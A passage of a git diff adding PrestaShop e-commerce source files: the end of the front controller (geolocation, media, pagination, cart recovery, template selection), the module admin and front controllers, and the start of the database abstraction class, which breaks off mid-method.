(!in_array(strtoupper($record->country_code), explode(';', Configuration::get('PS_ALLOWED_COUNTRIES'))) && !FrontController::isInWhitelistForGeolocation()) + { + if (Configuration::get('PS_GEOLOCATION_BEHAVIOR') == _PS_GEOLOCATION_NO_CATALOG_) + $this->restrictedCountry = true; + elseif (Configuration::get('PS_GEOLOCATION_BEHAVIOR') == _PS_GEOLOCATION_NO_ORDER_) + $this->context->smarty->assign(array( + 'restricted_country_mode' => true, + 'geolocation_country' => $record->country_name + )); + } + else + { + $has_been_set = !isset($this->context->cookie->iso_code_country); + $this->context->cookie->iso_code_country = strtoupper($record->country_code); + } + } + } + if (isset($this->context->cookie->iso_code_country) && $this->context->cookie->iso_code_country && !Validate::isLanguageIsoCode($this->context->cookie->iso_code_country)) + $this->context->cookie->iso_code_country = Country::getIsoById(Configuration::get('PS_COUNTRY_DEFAULT')); + if (isset($this->context->cookie->iso_code_country) && ($id_country = Country::getByIso(strtoupper($this->context->cookie->iso_code_country)))) + { + /* Update defaultCountry */ + if ($default_country->iso_code != $this->context->cookie->iso_code_country) + $default_country = new Country($id_country); + if (isset($has_been_set) && $has_been_set) + $this->context->cookie->id_currency = (int)(Currency::getCurrencyInstance($default_country->id_currency ? (int)$default_country->id_currency : Configuration::get('PS_CURRENCY_DEFAULT'))->id); + return $default_country; + } + elseif (Configuration::get('PS_GEOLOCATION_NA_BEHAVIOR') == _PS_GEOLOCATION_NO_CATALOG_ && !FrontController::isInWhitelistForGeolocation()) + $this->restrictedCountry = true; + elseif (Configuration::get('PS_GEOLOCATION_NA_BEHAVIOR') == _PS_GEOLOCATION_NO_ORDER_ && !FrontController::isInWhitelistForGeolocation()) + $this->context->smarty->assign(array( + 'restricted_country_mode' => true, + 'geolocation_country' => 'Undefined' + )); + } + /* If not exists we disabled the geolocation feature */ + else + Configuration::updateValue('PS_GEOLOCATION_ENABLED', 0); + } + return false; + } + + /** + * Specific medias for mobile device. + */ + public function setMobileMedia() + { + $this->addjquery(); + $this->addJS(_THEME_MOBILE_JS_DIR_.'jquery.mobile-1.3.0.min.js'); + $this->addJS(_THEME_MOBILE_JS_DIR_.'jqm-docs.js'); + $this->addJS(_PS_JS_DIR_.'tools.js'); + $this->addJS(_THEME_MOBILE_JS_DIR_.'global.js'); + $this->addjqueryPlugin('fancybox'); + + $this->addCSS(_THEME_MOBILE_CSS_DIR_.'jquery.mobile-1.3.0.min.css', 'all'); + $this->addCSS(_THEME_MOBILE_CSS_DIR_.'jqm-docs.css', 'all'); + $this->addCSS(_THEME_MOBILE_CSS_DIR_.'global.css', 'all'); + } + + public function setMedia() + { + // if website is accessed by mobile device + // @see FrontControllerCore::setMobileMedia() + if ($this->context->getMobileDevice() != false) + { + $this->setMobileMedia(); + return true; + } + + if (Tools::file_exists_cache(_PS_ROOT_DIR_.Tools::str_replace_once(__PS_BASE_URI__, DIRECTORY_SEPARATOR, _THEME_CSS_DIR_.'grid_prestashop.css'))) + $this->addCSS(_THEME_CSS_DIR_.'grid_prestashop.css', 'all'); + $this->addCSS(_THEME_CSS_DIR_.'global.css', 'all'); + $this->addjquery(); + $this->addjqueryPlugin('easing'); + $this->addJS(_PS_JS_DIR_.'tools.js'); + + $this->addjqueryPlugin('fancybox'); + $this->addCSS(_PS_CSS_DIR_.'jquery.fancybox-1.3.4.css', 'all'); // @TODO + + if (Tools::isSubmit('live_edit') && Tools::getValue('ad') && Tools::getAdminToken('AdminModulesPositions'.(int)Tab::getIdFromClassName('AdminModulesPositions').(int)Tools::getValue('id_employee'))) + { + $this->addJqueryUI('ui.sortable'); + $this->addjqueryPlugin('fancybox'); + $this->addJS(_PS_JS_DIR_.'hookLiveEdit.js'); + $this->addCSS(_PS_CSS_DIR_.'jquery.fancybox-1.3.4.css', 'all'); // @TODO + } + if ($this->context->language->is_rtl) + $this->addCSS(_THEME_CSS_DIR_.'rtl.css'); + + // Execute Hook FrontController SetMedia + Hook::exec('actionFrontControllerSetMedia', array()); + } + + public function initHeader() + { + // P3P Policies (http://www.w3.org/TR/2002/REC-P3P-20020416/#compact_policies) + header('P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"'); + + /* Hooks are volontary out the initialize array (need those variables already assigned) */ + $this->context->smarty->assign(array( + 'time' => time(), + 'img_update_time' => Configuration::get('PS_IMG_UPDATE_TIME'), + 'static_token' => Tools::getToken(false), + 'token' => Tools::getToken(), + 'priceDisplayPrecision' => _PS_PRICE_DISPLAY_PRECISION_, + 'content_only' => (int)Tools::getValue('content_only'), + )); + + $this->context->smarty->assign($this->initLogoAndFavicon()); + } + + public function initFooter() + { + $this->context->smarty->assign(array( + 'HOOK_FOOTER' => Hook::exec('displayFooter'), + 'conditions' => Configuration::get('PS_CONDITIONS'), + 'id_cgv' => Configuration::get('PS_CONDITIONS_CMS_ID'), + 'PS_SHOP_NAME' => Configuration::get('PS_SHOP_NAME'), + 'PS_ALLOW_MOBILE_DEVICE' => isset($_SERVER['HTTP_USER_AGENT']) && (bool)Configuration::get('PS_ALLOW_MOBILE_DEVICE') && @filemtime(_PS_THEME_MOBILE_DIR_) + )); + + } + + public function checkLiveEditAccess() + { + $live_token = Tools::getAdminToken('AdminModulesPositions'.(int)Tab::getIdFromClassName('AdminModulesPositions').(int)Tools::getValue('id_employee')); + $ad = Tools::getValue('ad'); + return Tools::isSubmit('live_edit') && $ad && Tools::getValue('liveToken') == $live_token && is_dir(_PS_ROOT_DIR_.DIRECTORY_SEPARATOR.$ad); + } + + public function getLiveEditFooter() + { + if ($this->checkLiveEditAccess()) + { + $data = $this->context->smarty->createData(); + $data->assign(array( + 'ad' => Tools::getValue('ad'), + 'live_edit' => true, + 'hook_list' => Hook::$executed_hooks, + 'id_shop' => $this->context->shop->id + )); + return $this->context->smarty->createTemplate(_PS_ALL_THEMES_DIR_.'live_edit.tpl', $data)->fetch(); + } + else + return ''; + } + + public function productSort() + { + // $this->orderBy = Tools::getProductsOrder('by', Tools::getValue('orderby')); + // $this->orderWay = Tools::getProductsOrder('way', Tools::getValue('orderway')); + // 'orderbydefault' => Tools::getProductsOrder('by'), + // 'orderwayposition' => Tools::getProductsOrder('way'), // Deprecated: orderwayposition + // 'orderwaydefault' => Tools::getProductsOrder('way'), + + $stock_management = Configuration::get('PS_STOCK_MANAGEMENT') ? true : false; // no display quantity order if stock management disabled + $order_by_values = array(0 => 'name', 1 => 'price', 2 => 'date_add', 3 => 'date_upd', 4 => 'position', 5 => 'manufacturer_name', 6 => 'quantity'); + $order_way_values = array(0 => 'asc', 1 => 'desc'); + $this->orderBy = Tools::strtolower(Tools::getValue('orderby', $order_by_values[(int)Configuration::get('PS_PRODUCTS_ORDER_BY')])); + $this->orderWay = Tools::strtolower(Tools::getValue('orderway', $order_way_values[(int)Configuration::get('PS_PRODUCTS_ORDER_WAY')])); + if (!in_array($this->orderBy, $order_by_values)) + $this->orderBy = $order_by_values[0]; + if (!in_array($this->orderWay, $order_way_values)) + $this->orderWay = $order_way_values[0]; + + $this->context->smarty->assign(array( + 'orderby' => $this->orderBy, + 'orderway' => $this->orderWay, + 'orderbydefault' => $order_by_values[(int)Configuration::get('PS_PRODUCTS_ORDER_BY')], + 'orderwayposition' => $order_way_values[(int)Configuration::get('PS_PRODUCTS_ORDER_WAY')], // Deprecated: orderwayposition + 'orderwaydefault' => $order_way_values[(int)Configuration::get('PS_PRODUCTS_ORDER_WAY')], + 'stock_management' => (int)$stock_management)); + } + + public function pagination($nbProducts = 10) + { + if (!self::$initialized) + $this->init(); + elseif (!$this->context) + $this->context = Context::getContext(); + + $nArray = (int)Configuration::get('PS_PRODUCTS_PER_PAGE') != 10 ? array((int)Configuration::get('PS_PRODUCTS_PER_PAGE'), 10, 20, 50) : array(10, 20, 50); + // Clean duplicate values + $nArray = array_unique($nArray); + asort($nArray); + $this->n = abs((int)(Tools::getValue('n', ((isset($this->context->cookie->nb_item_per_page) && $this->context->cookie->nb_item_per_page >= 10) ? $this->context->cookie->nb_item_per_page : (int)Configuration::get('PS_PRODUCTS_PER_PAGE'))))); + $this->p = abs((int)Tools::getValue('p', 1)); + + if (!is_numeric(Tools::getValue('p', 1)) || Tools::getValue('p', 1) < 0) + Tools::redirect(self::$link->getPaginationLink(false, false, $this->n, false, 1, false)); + + $current_url = tools::htmlentitiesUTF8($_SERVER['REQUEST_URI']); + //delete parameter page + $current_url = preg_replace('/(\?)?(&)?p=\d+/', '$1', $current_url); + + $range = 2; /* how many pages around page selected */ + + if ($this->p < 0) + $this->p = 0; + + if (isset($this->context->cookie->nb_item_per_page) && $this->n != $this->context->cookie->nb_item_per_page && in_array($this->n, $nArray)) + $this->context->cookie->nb_item_per_page = $this->n; + + $pages_nb = ceil($nbProducts / (int)$this->n); + if ($this->p > $pages_nb && $nbProducts <> 0) + Tools::redirect(self::$link->getPaginationLink(false, false, $this->n, false, $pages_nb, false)); + + $start = (int)($this->p - $range); + if ($start < 1) + $start = 1; + $stop = (int)($this->p + $range); + if ($stop > $pages_nb) + $stop = (int)$pages_nb; + $this->context->smarty->assign('nb_products', $nbProducts); + $pagination_infos = array( + 'products_per_page' => (int)Configuration::get('PS_PRODUCTS_PER_PAGE'), + 'pages_nb' => $pages_nb, + 'p' => $this->p, + 'n' => $this->n, + 'nArray' => $nArray, + 'range' => $range, + 'start' => $start, + 'stop' => $stop, + 'current_url' => $current_url + ); + $this->context->smarty->assign($pagination_infos); + } + + public static function getCurrentCustomerGroups() + { + if (!Group::isFeatureActive()) + return array(); + + $context = Context::getContext(); + if (!isset($context->customer) || !$context->customer->id) + return array(); + + if (!is_array(self::$currentCustomerGroups)) + { + self::$currentCustomerGroups = array(); + $result = Db::getInstance()->executeS('SELECT id_group FROM '._DB_PREFIX_.'customer_group WHERE id_customer = '.(int)$context->customer->id); + foreach ($result as $row) + self::$currentCustomerGroups[] = $row['id_group']; + } + return self::$currentCustomerGroups; + } + + protected static function isInWhitelistForGeolocation() + { + $allowed = false; + $user_ip = Tools::getRemoteAddr(); + $ips = array(); + // retrocompatibility + $ips_old = explode(';', Configuration::get('PS_GEOLOCATION_WHITELIST')); + if (is_array($ips_old) && count($ips_old)) + foreach ($ips_old as $ip) + $ips = array_merge($ips, explode("\n", $ip)); + $ips = array_map('trim', $ips); + if (is_array($ips) && count($ips)) + foreach ($ips as $ip) + if (!empty($ip) && strpos($user_ip, $ip) === 0) + $allowed = true; + return $allowed; + } + + /** + * Check if token is valid + * + * @since 1.5.0 + * @return bool + */ + public function isTokenValid() + { + if (!Configuration::get('PS_TOKEN_ENABLE')) + return true; + + return (strcasecmp(Tools::getToken(false), Tools::getValue('token')) == 0); + } + + /** + * Add one or several CSS for front, checking if css files are overriden in theme/css/modules/ directory + * + * @see Controller::addCSS() + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + if (!is_array($css_uri)) + $css_uri = array($css_uri => $css_media_type); + + $list_uri = array(); + foreach ($css_uri as $file => $media) + { + $different = 0; + $override_path = str_replace(__PS_BASE_URI__.'modules/', _PS_ROOT_DIR_.'/themes/'._THEME_NAME_.'/css/modules/', $file, $different); + if ($different && file_exists($override_path)) + $file = str_replace(__PS_BASE_URI__.'modules/', __PS_BASE_URI__.'themes/'._THEME_NAME_.'/css/modules/', $file, $different); + $list_uri[$file] = $media; + } + + return parent::addCSS($list_uri, $css_media_type); + } + + /** + * Add one or several JS files for front, checking if js files are overriden in theme/js/modules/ directory + * + * @see Controller::addJS() + */ + public function addJS($js_uri) + { + if (!is_array($js_uri)) + $js_uri = array($js_uri); + + foreach ($js_uri as $key => &$file) + { + if (!preg_match('/^http(s?):\/\//i', $file)) + { + $different = 0; + $override_path = str_replace(__PS_BASE_URI__.'modules/', _PS_ROOT_DIR_.'/themes/'._THEME_NAME_.'/js/modules/', $file, $different); + if ($different && file_exists($override_path)) + $file = str_replace(__PS_BASE_URI__.'modules/', __PS_BASE_URI__.'themes/'._THEME_NAME_.'/js/modules/', $file, $different); + } + } + + return parent::addJS($js_uri); + } + + protected function recoverCart() + { + if (($id_cart = (int)Tools::getValue('recover_cart')) && Tools::getValue('token_cart') == md5(_COOKIE_KEY_.'recover_cart_'.$id_cart)) + { + $cart = new Cart((int)$id_cart); + if (Validate::isLoadedObject($cart)) + { + $customer = new Customer((int)$cart->id_customer); + if (Validate::isLoadedObject($customer)) + { + $this->context->cookie->id_customer = (int)$customer->id; + $this->context->cookie->customer_lastname = $customer->lastname; + $this->context->cookie->customer_firstname = $customer->firstname; + $this->context->cookie->logged = 1; + $this->context->cookie->is_guest = $customer->isGuest(); + $this->context->cookie->passwd = $customer->passwd; + $this->context->cookie->email = $customer->email; + return $id_cart; + } + } + } + else + return false; + } + + /** + * This is overrided to manage is behaviour + * if a customer access to the site with mobile device. + */ + public function setTemplate($default_template) + { + if ($this->context->getMobileDevice() != false) + $this->setMobileTemplate($default_template); + else + { + $template = $this->getOverrideTemplate(); + if ($template) + parent::setTemplate($template); + else + parent::setTemplate($default_template); + } + } + + /** + * Returns the template corresponding to the current page. + * By default this method return false but could easily be overridden in a specific controller + * + * @since 1.5 + * @return bool + */ + public function getOverrideTemplate() + { + return Hook::exec('DisplayOverrideTemplate', array('controller' => $this)); + } + + /** + * Returns the layout corresponding to the current page by using the override system + * Ex: + * On the url: http://localhost/index.php?id_product=1&controller=product, this method will + * check if the layout exists in the following files (in that order), and return the first found: + * - /themes/default/override/layout-product-1.tpl + * - /themes/default/override/layout-product.tpl + * - /themes/default/layout.tpl + * + * @since 1.5 + * @return bool|string + */ + public function getLayout() + { + $entity = Tools::getValue('controller'); + $id_item = (int)Tools::getValue('id_'.$entity); + + $layout_dir = _PS_THEME_DIR_; + $layout_override_dir = _PS_THEME_OVERRIDE_DIR_; + if ($this->context->getMobileDevice() != false) + { + $layout_dir = _PS_THEME_MOBILE_DIR_; + $layout_override_dir = _PS_THEME_MOBILE_OVERRIDE_DIR_; + } + + $layout = false; + if ($entity) + { + if ($id_item > 0 && file_exists($layout_override_dir.'layout-'.$entity.'-'.$id_item.'.tpl')) + $layout = $layout_override_dir.'layout-'.$entity.'-'.$id_item.'.tpl'; + elseif (file_exists($layout_override_dir.'layout-'.$entity.'.tpl')) + $layout = $layout_override_dir.'layout-'.$entity.'.tpl'; + } + + if (!$layout && file_exists($layout_dir.'layout.tpl')) + $layout = $layout_dir.'layout.tpl'; + + return $layout; + } + + /** + * This checks if the template set is available for mobile themes, + * otherwise the front template is choosen. + */ + public function setMobileTemplate($template) + { + // Needed for site map + $blockmanufacturer = Module::getInstanceByName('blockmanufacturer'); + $blocksupplier = Module::getInstanceByName('blocksupplier'); + $this->context->smarty->assign('categoriesTree', Category::getRootCategory()->recurseLiteCategTree(0)); + $this->context->smarty->assign('categoriescmsTree', CMSCategory::getRecurseCategory($this->context->language->id, 1, 1, 1)); + $this->context->smarty->assign('voucherAllowed', (int)CartRule::isFeatureActive()); + $this->context->smarty->assign('display_manufacturer_link', (bool)$blockmanufacturer->active); + $this->context->smarty->assign('display_supplier_link', (bool)$blocksupplier->active); + $this->context->smarty->assign('PS_DISPLAY_SUPPLIERS', Configuration::get('PS_DISPLAY_SUPPLIERS')); + $this->context->smarty->assign('display_store', Configuration::get('PS_STORES_DISPLAY_SITEMAP')); + $this->context->smarty->assign('conditions', Configuration::get('PS_CONDITIONS')); + $this->context->smarty->assign('id_cgv', Configuration::get('PS_CONDITIONS_CMS_ID')); + $this->context->smarty->assign('PS_SHOP_NAME', Configuration::get('PS_SHOP_NAME')); + + $mobile_template = ''; + $tpl_file = basename($template); + $dirname = dirname($template).(substr(dirname($template), -1, 1) == '/' ? '' : '/'); + + if ($dirname == _PS_THEME_DIR_) + { + if (file_exists(_PS_THEME_MOBILE_DIR_.$tpl_file)) + $template = _PS_THEME_MOBILE_DIR_.$tpl_file; + } + elseif ($dirname == _PS_THEME_MOBILE_DIR_) + { + if (!file_exists(_PS_THEME_MOBILE_DIR_.$tpl_file) && file_exists(_PS_THEME_DIR_.$tpl_file)) + $template = _PS_THEME_DIR_.$tpl_file; + } + $assign = array(); + $assign['tpl_file'] = basename($tpl_file, '.tpl'); + if (isset($this->php_self)) + $assign['controller_name'] = $this->php_self; + + $this->context->smarty->assign($assign); + $this->template = $template; + } + + /** + * Return an array with specific logo and favicon, + * if mobile device + * + * @since 1.5 + * @return array + */ + public function initLogoAndFavicon() + { + $mobile_device = $this->context->getMobileDevice(); + $logo = _PS_IMG_.Configuration::get('PS_LOGO').'?'.Configuration::get('PS_IMG_UPDATE_TIME'); + + if ($mobile_device && Configuration::get('PS_LOGO_MOBILE')) + $logo = _PS_IMG_.Configuration::get('PS_LOGO_MOBILE').'?'.Configuration::get('PS_IMG_UPDATE_TIME'); + else + $logo = _PS_IMG_.Configuration::get('PS_LOGO').'?'.Configuration::get('PS_IMG_UPDATE_TIME'); + + return array( + 'favicon_url' => _PS_IMG_.Configuration::get('PS_FAVICON'), + 'logo_image_width' => ($mobile_device == false ? Configuration::get('SHOP_LOGO_WIDTH') : Configuration::get('SHOP_LOGO_MOBILE_WIDTH')), + 'logo_image_height' => ($mobile_device == false ? Configuration::get('SHOP_LOGO_HEIGHT') : Configuration::get('SHOP_LOGO_MOBILE_HEIGHT')), + 'logo_url' => $logo + ); + } +} diff --git a/classes/controller/ModuleAdminController.php b/classes/controller/ModuleAdminController.php new file mode 100755 index 0000000..ba0ac7c --- /dev/null +++ b/classes/controller/ModuleAdminController.php @@ -0,0 +1,69 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +abstract class ModuleAdminControllerCore extends AdminController +{ + /** + * @var Module + */ + public $module; + + public function __construct() + { + $this->controller_type = 'moduleadmin'; + + parent::__construct(); + + $tab = new Tab($this->id); + if (!$tab->module) + throw new PrestaShopException('Admin tab '.get_class($this).' is not a module tab'); + + $this->module = Module::getInstanceByName($tab->module); + if (!$this->module->id) + throw new PrestaShopException("Module {$tab->module} not found"); + } + + public function createTemplate($tpl_name) + { + if (file_exists($this->getTemplatePath().$this->override_folder.$tpl_name) && $this->viewAccess()) + return $this->context->smarty->createTemplate($this->getTemplatePath().$this->override_folder.$tpl_name, $this->context->smarty); + + return parent::createTemplate($tpl_name); + } + + /** + * Get path to back office templates for the module + * + * @return string + */ + public function getTemplatePath() + { + return _PS_MODULE_DIR_.$this->module->name.'/views/templates/admin/'; + } +} diff --git a/classes/controller/ModuleFrontController.php b/classes/controller/ModuleFrontController.php new file mode 100755 index 0000000..0ab4932 --- /dev/null +++ b/classes/controller/ModuleFrontController.php @@ -0,0 +1,73 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ModuleFrontControllerCore extends FrontController +{ + /** + * @var Module + */ + public $module; + + public function __construct() + { + $this->controller_type = 'modulefront'; + + $this->module = Module::getInstanceByName(Tools::getValue('module')); + if (!$this->module->active) + Tools::redirect('index'); + $this->page_name = 'module-'.$this->module->name.'-'.Dispatcher::getInstance()->getController(); + + parent::__construct(); + } + + /** + * Assign module template + * + * @param string $template + */ + public function setTemplate($template) + { + if (Tools::file_exists_cache(_PS_THEME_DIR_.'modules/'.$this->module->name.'/'.$template)) + $this->template = _PS_THEME_DIR_.'modules/'.$this->module->name.'/'.$template; + elseif (Tools::file_exists_cache($this->getTemplatePath().$template)) + $this->template = $this->getTemplatePath().$template; + else + throw new PrestaShopException("Template '$template'' not found"); + } + + /** + * Get path to front office templates for the module + * + * @return string + */ + public function getTemplatePath() + { + return _PS_MODULE_DIR_.$this->module->name.'/views/templates/front/'; + } +} diff --git a/classes/controller/index.php b/classes/controller/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/controller/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/classes/db/Db.php b/classes/db/Db.php new file mode 100755 index 0000000..e543f35 --- /dev/null +++ b/classes/db/Db.php @@ -0,0 +1,711 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (file_exists(dirname(__FILE__).'/../../config/settings.inc.php')) + include_once(dirname(__FILE__).'/../../config/settings.inc.php'); + +abstract class DbCore +{ + /** + * Constants used by insert() method + */ + const INSERT = 1; + const INSERT_IGNORE = 2; + const REPLACE = 3; + + /** + * @var string Server (eg. localhost) + */ + protected $server; + + /** + * @var string Database user (eg. root) + */ + protected $user; + + /** + * @var string Database password (eg. can be empty !) + */ + protected $password; + + /** + * @var string Database name + */ + protected $database; + + /** + * @var bool + */ + protected $is_cache_enabled; + + /** + * @var mixed Ressource link + */ + protected $link; + + /** + * @var mixed SQL cached result + */ + protected $result; + + /** + * @var array List of DB instance + */ + protected static $instance = array(); + + /** + * @var array Object instance for singleton + */ + protected static $_servers = array( + array('server' => _DB_SERVER_, 'user' => _DB_USER_, 'password' => _DB_PASSWD_, 'database' => _DB_NAME_), /* MySQL Master server */ + // Add here your slave(s) server(s) + // array('server' => '192.168.0.15', 'user' => 'rep', 'password' => '123456', 'database' => 'rep'), + // array('server' => '192.168.0.3', 'user' => 'myuser', 'password' => 'mypassword', 'database' => 'mydatabase'), + ); + + /** + * Store last executed query + * + * @var string + */ + protected $last_query; + + /** + * Last cached query + * + * @var string + */ + protected $last_cached; + + /** + * Open a connection + */ + abstract public function connect(); + + /** + * Close a connection + */ + abstract public function disconnect(); + + /** + * Execute a query and get result resource + * + * @param string $sql + * @return mixed + */ + abstract protected function _query($sql); + + /** + * Get number of rows in a result + * + * @param mixed $result + */ + abstract protected function _numRows($result); + + /** + * Get the ID generated from the previous INSERT operation + */ + abstract public function Insert_ID(); + + /** + * Get number of affected rows in previous database operation + */ + abstract public function Affected_Rows(); + + /** + * Get next row for a query which doesn't return an array + * + * @param mixed $result + */ + abstract public function nextRow($result = false); + + /** + * Get database version + * + * @return string + */ + abstract public function getVersion(); + + /** + * Protect string against SQL injections + * + * @param string $str + * @return string + */ + abstract public function _escape($str); + + /** + * Returns the text of the error message from previous database operation + */ + abstract public function getMsgError(); + + /** + * Returns the number of the error from previous database operation + */ + abstract public function getNumberError(); + + /* do not remove, useful for some modules */ + abstract public function set_db($db_name); + + /** + * Get Db object instance + * + * @param bool $master Decides whether the connection to be returned by the master server or the slave server + * @return Db instance + */ + public static function getInstance($master = true) + { + static $id = 0; + + $total_servers = count(self::$_servers); + if ($master || $total_servers == 1) + $id_server = 0; + else + { + $id++; + $id_server = ($total_servers > 2 && ($id % $total_servers) != 0) ? $id : 1; + } + + if (!isset(self::$instance[$id_server])) + { + $class = Db::getClass(); + self::$instance[$id_server] = new $class( + self::$_servers[$id_server]['server'], + self::$_servers[$id_server]['user'], + self::$_servers[$id_server]['password'], + self::$_servers[$id_server]['database'] + ); + } + + return self::$instance[$id_server]; + } + + /** + * Get child layer class + * + * @return string + */ + public static function getClass() + { + $class = 'MySQL'; + if (PHP_VERSION_ID >= 50200 && extension_loaded('pdo_mysql')) + $class = 'DbPDO'; + else if (extension_loaded('mysqli')) + $class = 'DbMySQLi'; + return $class; + } + + /** + * Instantiate database connection + * + * @param string $server Server address + * @param string $user User login + * @param string $password User password + * @param string $database Database name + * @param bool $connect If false, don't connect in constructor (since 1.5.0) + */ + public function __construct($server, $user, $password, $database, $connect = true) + { + $this->server = $server; + $this->user = $user; + $this->password = $password; + $this->database = $database; + $this->is_cache_enabled = (defined('_PS_CACHE_ENABLED_')) ? _PS_CACHE_ENABLED_ : false; + + if (!defined('_PS_DEBUG_SQL_')) + define('_PS_DEBUG_SQL_', false); + + if ($connect) + $this->connect(); + } + + /** + * Close connection to database + */ + public function __destruct() + { + if ($this->link) + $this->disconnect(); + } + + /** + * @deprecated 1.5.0 use insert() or update() method instead + */ + public function autoExecute($table, $data, $type, $where = '', $limit = 0, $use_cache = true, $use_null = false) + { + $type = strtoupper($type); + switch ($type) + { + case 'INSERT' : + return $this->insert($table, $data, $use_null, $use_cache, Db::INSERT, false); + + case 'INSERT IGNORE' : + return $this->insert($table, $data, $use_null, $use_cache, Db::INSERT_IGNORE, false); + + case 'REPLACE' : + return $this->insert($table, $data, $use_null, $use_cache, Db::REPLACE, false); + + case 'UPDATE' : + return $this->update($table, $data, $where, $limit, $use_null, $use_cache, false); + + default : + throw new PrestaShopDatabaseException('Wrong argument (miss type) in Db::autoExecute()'); + } + } + + /** + * Filter SQL query within a blacklist + * + * @param string $table Table where insert/update data + * @param string $values Data to insert/update + * @param string $type INSERT or UPDATE + * @param string $where WHERE clause, only for UPDATE (optional) + * @param int $limit LIMIT clause (optional) + * @return mixed|boolean SQL query result + */ + public function autoExecuteWithNullValues($table, $values, $type, $where = '', $limit = 0) + { + return $this->autoExecute($table, $values, $type, $where, $limit, 0, true); + } + + /** + * Execute a query and get result ressource + * + * @param string $sql + * @return mixed + */ + public function query($sql) + { + if ($sql instanceof DbQuery) + $sql = $sql->build(); + + $this->result = $this->_query($sql); + if (_PS_DEBUG_SQL_) + $this->displayError($sql); + return $this->result; + } + + /** + * Execute an INSERT query + * + * @param string $table Table name without prefix + * @param array $data Data to insert as associative array. If $data is a list of arrays, multiple insert will be done + * @param bool $null_values If we want to use NULL values instead of empty quotes + * @param bool $use_cache + * @param int $type Must be Db::INSERT or Db::INSERT_IGNORE or Db::REPLACE + * @param bool $add_prefix Add or not _DB_PREFIX_ before table name + * @return bool + */ + public function insert($table, $data, $null_values = false, $use_cache = true, $type = Db::INSERT, $add_prefix = true) + { + if (!$data && !$null_values) + return true; + + if ($add_prefix) + $table = _DB_PREFIX_.$table; + + if ($type == Db::INSERT) + $insert_keyword = 'INSERT'; + else if ($type == Db::INSERT_IGNORE) + $insert_keyword = 'INSERT IGNORE'; + else if ($type == Db::REPLACE) + $insert_keyword = 'REPLACE'; + else + throw new PrestaShopDatabaseException('Bad keyword, must be Db::INSERT or Db::INSERT_IGNORE or Db::REPLACE'); + + // Check if $data is a list of row + $current = current($data); + if (!is_array($current) || isset($current['type'])) + $data = array($data); + + $keys = array(); + $values_stringified = array(); + foreach ($data as $row_data) + { + $values = array(); + foreach ($row_data as $key => $value) + { + if (isset($keys_stringified)) + { + // Check if row array mapping are the same + if (!in_array("`$key`", $keys)) + throw new PrestaShopDatabaseException('Keys form $data subarray don\'t match'); + } + else + $keys[] = "`$key`"; + + if (!is_array($value)) + $value = array('type' => 'text', 'value' => $value); + if ($value['type'] == 'sql') + $values[] = $value['value']; + else + $values[] = $null_values && ($value['value'] === '' || is_null($value['value'])) ? 'NULL' : "'{$value['value']}'"; + } + $keys_stringified = implode(', ', $keys); + $values_stringified[] = '('.implode(', ', $values).')'; + } + + $sql = 